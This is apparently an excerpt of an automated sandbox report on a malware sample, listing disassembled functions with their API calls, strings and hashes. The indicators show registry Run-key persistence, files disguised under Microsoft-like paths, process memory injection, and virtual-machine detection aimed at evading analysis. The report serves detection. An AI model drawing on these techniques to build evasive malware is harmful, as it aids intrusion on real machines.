C:\Program Files (x86)\Microsoft\Temp\Microsoft-, xrefs: 00007FF6A54A6843
Microsoft-, xrefs: 00007FF6A54A6C06
C:\Program Files (x86)\Microsoft\Temp, xrefs: 00007FF6A54A688B
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF6A54A6B60

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Module$FileHandleName
String ID: .exe$C:\Program Files (x86)\Microsoft\Temp$C:\Program Files (x86)\Microsoft\Temp\Microsoft-$Microsoft-$Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 4146042529-2756553381
Opcode ID: 2a71203d9518e1d287a3932e4519e8c79eb2beeaa3c10df9b0b6ae9ac19400b1
Instruction ID: a730e80d4f4287ff4fe5bf93bd3c484464e4478bf46a9c288a37f59c42f13e30
Opcode Fuzzy Hash: 2a71203d9518e1d287a3932e4519e8c79eb2beeaa3c10df9b0b6ae9ac19400b1
Instruction Fuzzy Hash: BEE10C3691EAC185E760DB21F4543ABB760FB96B44F404136E78E83AA9DF7CD944CB40

Function 00007FF6A54A6120 Relevance: 45.8, APIs: 20, Strings: 6, Instructions: 288COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6A54A613D
GetModuleFileNameW.KERNEL32 ref: 00007FF6A54A6187

Strings

SysWOW-, xrefs: 00007FF6A54A64F3
SOFTWARE\$LMXconfig\startup, xrefs: 00007FF6A54A64DD
C:\Windows\SysWOW64\$LMX-, xrefs: 00007FF6A54A6573
C:\Windows\SysWOW64\$LMX-, xrefs: 00007FF6A54A6203
.exe, xrefs: 00007FF6A54A6217
.exe, xrefs: 00007FF6A54A6587

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Module$FileHandleName
String ID: .exe$.exe$C:\Windows\SysWOW64\$LMX-$C:\Windows\SysWOW64\$LMX-$SOFTWARE\$LMXconfig\startup$SysWOW-
API String ID: 4146042529-1651104002
Opcode ID: 4f83e9f4d30345e334b7ec35a9a80808e6ef3c4c416a05b7457e674f3cd80fec
Instruction ID: acca2587fdcb3195a706fa0d8388ee54cd45b8f314b9847a1d01fabdedcd640d
Opcode Fuzzy Hash: 4f83e9f4d30345e334b7ec35a9a80808e6ef3c4c416a05b7457e674f3cd80fec
Instruction Fuzzy Hash: 88F11B3651EAC185E7A0DB24E4543EBB760FBC6B44F404132E68D83AAADF3CD945CB40

Function 00007FF6A54A20A0 Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 236libraryloaderCOMMON

Download Yara Rule

APIs

shared_ptr.LIBCMTD ref: 00007FF6A54A20E1
GetModuleHandleW.KERNEL32 ref: 00007FF6A54A20E9
shared_ptr.LIBCMTD ref: 00007FF6A54A211A
GetProcAddress.KERNEL32 ref: 00007FF6A54A2127
shared_ptr.LIBCMTD ref: 00007FF6A54A2167
GetProcAddress.KERNEL32 ref: 00007FF6A54A2174

Strings

\explorer.exe, xrefs: 00007FF6A54A2305

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: shared_ptr$AddressProc$HandleModule
String ID: \explorer.exe
API String ID: 2988983344-1502772786
Opcode ID: 3018014e4864420405ec0e365953c1fbaef1103286ab5cc4dc50a68c43fc39bc
Instruction ID: b5a254d7c663c68154644c5be9aa644f9c37b805c306cdb48c9810ca3e133ca5
Opcode Fuzzy Hash: 3018014e4864420405ec0e365953c1fbaef1103286ab5cc4dc50a68c43fc39bc
Instruction Fuzzy Hash: 2CB1423261DA8585DB90DB25E4543AEA7A0FBC5F94F404431EB8E87BA8DF7CD844DB40

Function 00007FF6A54B9077 Relevance: 31.8, APIs: 21, Instructions: 306COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54B9092
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54B90BB
_Getctype.LIBCPMT ref: 00007FF6A54B90EF
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54B912C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54B9155
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54B9198
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54B91C1
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54B9200
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54B9229
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54B9265
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54B928E
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54B92C8
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54B92F1
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54B932E
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54B9357
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54B93B4
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54B93DD
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54B941F
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54B9448
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54B9482
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54B94AB

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID:
API String ID: 3087743877-0
Opcode ID: 2361a5b3b48608ea8fa796e42cc97deb3cf1d54cd5aeb3db1031e14d02db689e
Instruction ID: 00778ff8da502c5a07bfb9ed204ab019c3029025db7dd600b9eaa0fcbe7d7715
Opcode Fuzzy Hash: 2361a5b3b48608ea8fa796e42cc97deb3cf1d54cd5aeb3db1031e14d02db689e
Instruction Fuzzy Hash: C2D12775E0BA0285FB59FF65A8802B826A1FF56F84F464035D90DC36A6EF7CAD41C360

Function 00007FF6A54A5440 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 141networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET ref: 00007FF6A54A547D
InternetOpenUrlA.WININET ref: 00007FF6A54A54BB
InternetCloseHandle.WININET ref: 00007FF6A54A54D3

Strings

MyUserAgent, xrefs: 00007FF6A54A5476

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Internet$Open$CloseHandle
String ID: MyUserAgent
API String ID: 3289985339-3625013776
Opcode ID: 8fbe67280ae240f18e1a13b5d75e9a2909d0e7ef35685aab634d7c544aee0820
Instruction ID: 770af884279c5409a7f06cd758324e7b4d4d4bb10bc7568d4ee40cc13c34dbc7
Opcode Fuzzy Hash: 8fbe67280ae240f18e1a13b5d75e9a2909d0e7ef35685aab634d7c544aee0820
Instruction Fuzzy Hash: 42711E3262DA8186EB90DB15F4543AEB7A0FBD6B94F400035F68EC7A69DF7CD8458B00

Function 00007FF6A54A4CF0 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 256memoryinjectionCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32 ref: 00007FF6A54A4D69
WriteProcessMemory.KERNEL32 ref: 00007FF6A54A4DD9

Strings

@, xrefs: 00007FF6A54A4D4B

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: AllocMemoryProcessVirtualWrite
String ID: @
API String ID: 645232735-2766056989
Opcode ID: 8a1fa989f4858665eeabfaeadc587ab6a1810c1852bec289a9f97b96221e1236
Instruction ID: 1d9ac29087b9ac171303b4c76c4264f3c5875611eae69b6f3ac14b97bcbd10a5
Opcode Fuzzy Hash: 8a1fa989f4858665eeabfaeadc587ab6a1810c1852bec289a9f97b96221e1236
Instruction Fuzzy Hash: 03D1C576619B858ADBA0CB19E49076AB7A0F7C9B95F005536EB8E83B58DF3CD444CF00

Function 00007FF6A54A4830 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 254memoryinjectionCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32 ref: 00007FF6A54A48A9
WriteProcessMemory.KERNEL32 ref: 00007FF6A54A4912

Strings

@, xrefs: 00007FF6A54A488B

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: AllocMemoryProcessVirtualWrite
String ID: @
API String ID: 645232735-2766056989
Opcode ID: 6970ae03f88652327e482fe574a379543fb15ec000507ad0cfab7f7a20beb8cb
Instruction ID: ee4abdd86848fb53568f54d08d70fbd28b6e172a4bdf791cc8f99a992fb2053f
Opcode Fuzzy Hash: 6970ae03f88652327e482fe574a379543fb15ec000507ad0cfab7f7a20beb8cb
Instruction Fuzzy Hash: 69D1A776619B858AD7A0CB19E49476EB7A0F7C9B94F105136EB8E83B58DF3CD844CB00

Function 00007FF6A54A7B10 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegGetValueA.ADVAPI32 ref: 00007FF6A54A7B68
Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock.LIBCMTD ref: 00007FF6A54A7BA3
RegGetValueA.ADVAPI32 ref: 00007FF6A54A7BDB
Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock.LIBCMTD ref: 00007FF6A54A7BF5

Strings

VMware, xrefs: 00007FF6A54A7C0B
QEMU, xrefs: 00007FF6A54A7C3F
VBOX, xrefs: 00007FF6A54A7C25
SYSTEM\CurrentControlSet\Services\disk\Enum, xrefs: 00007FF6A54A7B5A
SYSTEM\CurrentControlSet\Services\disk\Enum, xrefs: 00007FF6A54A7BCD

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Concurrency::details::_CriticalLock::_ReentrantScoped_lockScoped_lock::~_Value
String ID: QEMU$SYSTEM\CurrentControlSet\Services\disk\Enum$SYSTEM\CurrentControlSet\Services\disk\Enum$VBOX$VMware
API String ID: 2501560243-35660360
Opcode ID: 32b867c8a10a82f0b59e06c1e1c5f64df85b6d17bba7828a39fd61eda85c0586
Instruction ID: ee103552a8129bb9551ef501f88f244ffb6546b922675bf5b23c20dfcec0eb85
Opcode Fuzzy Hash: 32b867c8a10a82f0b59e06c1e1c5f64df85b6d17bba7828a39fd61eda85c0586
Instruction Fuzzy Hash: FE41873251DA4195FA60DB20E4503AA7770EB87B64F900332E7AD82ADADF7DE944CB00

Function 00007FF6A54A4300 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 143memoryinjectionCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32 ref: 00007FF6A54A4378
WriteProcessMemory.KERNEL32 ref: 00007FF6A54A43C3

Part of subcall function 00007FF6A54A3840: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A38C5

Strings

@, xrefs: 00007FF6A54A435A

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: AllocConcurrency::details::EmptyMemoryProcessQueue::StructuredVirtualWorkWrite
String ID: @
API String ID: 2078502901-2766056989
Opcode ID: 720be5aece8625d68157fe7d30f0092e187bde97b451141df1445f29913ff2dc
Instruction ID: 222f22223cb1f0e81f77eccc4039e62e5b0579d3d31b12c68ff52bec567d4b07
Opcode Fuzzy Hash: 720be5aece8625d68157fe7d30f0092e187bde97b451141df1445f29913ff2dc
Instruction Fuzzy Hash: 1B71FB76619B858ADB60CB15E49432EB7A0F789F94F104136EB8E83B68DF7CD844CB00

Function 00007FF6A54A4590 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 142memoryinjectionCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32 ref: 00007FF6A54A4607
WriteProcessMemory.KERNEL32 ref: 00007FF6A54A4652

Strings

@, xrefs: 00007FF6A54A45E2

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: AllocMemoryProcessVirtualWrite
String ID: @
API String ID: 645232735-2766056989
Opcode ID: b7335ffa399dc7a1ecaf5f8ac5da25a1710876b98c2cbf970a96baab5c45d301
Instruction ID: 92e8f80c611374667113d33eebb3b358b6705a2a9982b8edf757394cb10bba12
Opcode Fuzzy Hash: b7335ffa399dc7a1ecaf5f8ac5da25a1710876b98c2cbf970a96baab5c45d301
Instruction Fuzzy Hash: B471D676619B858ADBA0CB15E45432AB7A0F789B85F505136EB8E83B68DF3CD845CB00

Function 00007FF6A54A79C0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegGetValueA.ADVAPI32 ref: 00007FF6A54A7A19

Strings

HARDWARE\DESCRIPTION\System\BIOS, xrefs: 00007FF6A54A7A0B
Parallels, xrefs: 00007FF6A54A7AA9
QEMU, xrefs: 00007FF6A54A7A75
SystemManufacturer, xrefs: 00007FF6A54A7A04
VMware, xrefs: 00007FF6A54A7A41
Microsoft Corporation, xrefs: 00007FF6A54A7A8F
VirtualBox, xrefs: 00007FF6A54A7A5B

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Value
String ID: HARDWARE\DESCRIPTION\System\BIOS$Microsoft Corporation$Parallels$QEMU$SystemManufacturer$VMware$VirtualBox
API String ID: 3702945584-1265467049
Opcode ID: a01eb73f53c9e138d0334527873c8916d009393e5af37d8521e7e80f545b5860
Instruction ID: b50495456ee4599b2f3a6ca83a5bbe003242d88f77bddb86026f900308d7116e
Opcode Fuzzy Hash: a01eb73f53c9e138d0334527873c8916d009393e5af37d8521e7e80f545b5860
Instruction Fuzzy Hash: 1E31543691D642A5EA60DB24E4507BA7760FF86774F900332E2BC82AD9DF7DDA05CB00

Function 00007FF6A54A7ED0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 120COMMON

Download Yara Rule

APIs

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A804E
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A805D
CloseHandle.KERNEL32 ref: 00007FF6A54A807B

Strings

vboxservice.exe, xrefs: 00007FF6A54A7EFD
vmware.exe, xrefs: 00007FF6A54A7EE9
qemu-ga.exe, xrefs: 00007FF6A54A7F11

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Concurrency::details::EmptyQueue::StructuredWork$CloseHandle
String ID: qemu-ga.exe$vboxservice.exe$vmware.exe
API String ID: 619771974-1968340088
Opcode ID: 1b16a05f1a8249cd373777c067ac6913075806d3c3b076337e32e7f875a4a25d
Instruction ID: 310b2ccc44bb689748e64d504e9aed6eaf262a007a196e833c609bd8169e08d9
Opcode Fuzzy Hash: 1b16a05f1a8249cd373777c067ac6913075806d3c3b076337e32e7f875a4a25d
Instruction Fuzzy Hash: C251182151EA8191EA60DB15E4513AFB764FBC6B84F404132F78D87AEADF2CDA05CB00

Function 00007FF6A54FF600 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6A54F38C4: GetLastError.KERNEL32 ref: 00007FF6A54F38D3
Part of subcall function 00007FF6A54F38C4: FlsGetValue.KERNEL32 ref: 00007FF6A54F38E8
Part of subcall function 00007FF6A54F38C4: SetLastError.KERNEL32 ref: 00007FF6A54F3973

TranslateName.LIBCMT ref: 00007FF6A54FF66A
TranslateName.LIBCMT ref: 00007FF6A54FF6A5
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF6A54F1B20), ref: 00007FF6A54FF6EC
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF6A54F1B20), ref: 00007FF6A54FF724
GetLocaleInfoW.KERNEL32 ref: 00007FF6A54FF8E1

Strings

utf8, xrefs: 00007FF6A54FF808

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodeInfoLocalePageValidValue
String ID: utf8
API String ID: 3069159798-905460609
Opcode ID: b51e3f94ac5b4ce231a77dcbf3811d37adea6656337162e85f99b6cbee69ded4
Instruction ID: 2bff01b263b2d658fba621664af15dfcbefeab99b88c49764140804c4ab2d133
Opcode Fuzzy Hash: b51e3f94ac5b4ce231a77dcbf3811d37adea6656337162e85f99b6cbee69ded4
Instruction Fuzzy Hash: FC917D36A0A78296FB64DB29E4412B933A4EF46F84F444131DA5C87795EF3CED9AC700

Function 00007FF6A5500048 Relevance: 10.7, APIs: 7, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6A54F38C4: GetLastError.KERNEL32 ref: 00007FF6A54F38D3
Part of subcall function 00007FF6A54F38C4: FlsGetValue.KERNEL32 ref: 00007FF6A54F38E8
Part of subcall function 00007FF6A54F38C4: SetLastError.KERNEL32 ref: 00007FF6A54F3973

Part of subcall function 00007FF6A54F38C4: FlsSetValue.KERNEL32 ref: 00007FF6A54F3909

GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF6A55001B8

Part of subcall function 00007FF6A54F38C4: FlsSetValue.KERNEL32 ref: 00007FF6A54F3936
Part of subcall function 00007FF6A54F38C4: FlsSetValue.KERNEL32 ref: 00007FF6A54F3947
Part of subcall function 00007FF6A54F38C4: FlsSetValue.KERNEL32 ref: 00007FF6A54F3958

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF6A54F1B19), ref: 00007FF6A550019F
ProcessCodePage.LIBCMT ref: 00007FF6A55001E2
IsValidCodePage.KERNEL32 ref: 00007FF6A55001F4
IsValidLocale.KERNEL32 ref: 00007FF6A550020A
GetLocaleInfoW.KERNEL32 ref: 00007FF6A5500266
GetLocaleInfoW.KERNEL32 ref: 00007FF6A5500282

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: 2b29f59d5568d3ebf7f476ee8ba5de49d3ae80982f4af3ed67730104d37e83dc
Instruction ID: 7dac530c8d15aee091e34749e385ab9b76ec055cb503acb7ef1e9826f1b2d64f
Opcode Fuzzy Hash: 2b29f59d5568d3ebf7f476ee8ba5de49d3ae80982f4af3ed67730104d37e83dc
Instruction Fuzzy Hash: 64716A26B1A6529EFB10DB65D8506BC23E0AF46F48F844436CE4E936E5EF3CAC49C310

Function 00007FF6A54DDBA8 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6A54DDBC4
RtlCaptureContext.KERNEL32 ref: 00007FF6A54DDBF1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6A54DDC0B
RtlVirtualUnwind.KERNEL32 ref: 00007FF6A54DDC4C
IsDebuggerPresent.KERNEL32 ref: 00007FF6A54DDCA0
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6A54DDCBD
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6A54DDCC8

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: f000ac86d18801c36d5a2e3d59a2646ceb78fb77be1baa79ab305fe03f1fc4d8
Instruction ID: 5c567a0af80d7545e28e22b13f4f7cdadce36e25c956840afd81ec9e898afa3d
Opcode Fuzzy Hash: f000ac86d18801c36d5a2e3d59a2646ceb78fb77be1baa79ab305fe03f1fc4d8
Instruction Fuzzy Hash: FF316076619B818AEB60CF60E8403ED73A0FB85B48F44403ADA4E87B95DF78C948C700

Function 00007FF6A54FAE28 Relevance: 9.3, APIs: 6, Instructions: 335timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6A54FAE6D

Part of subcall function 00007FF6A54FACB4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54FACC8

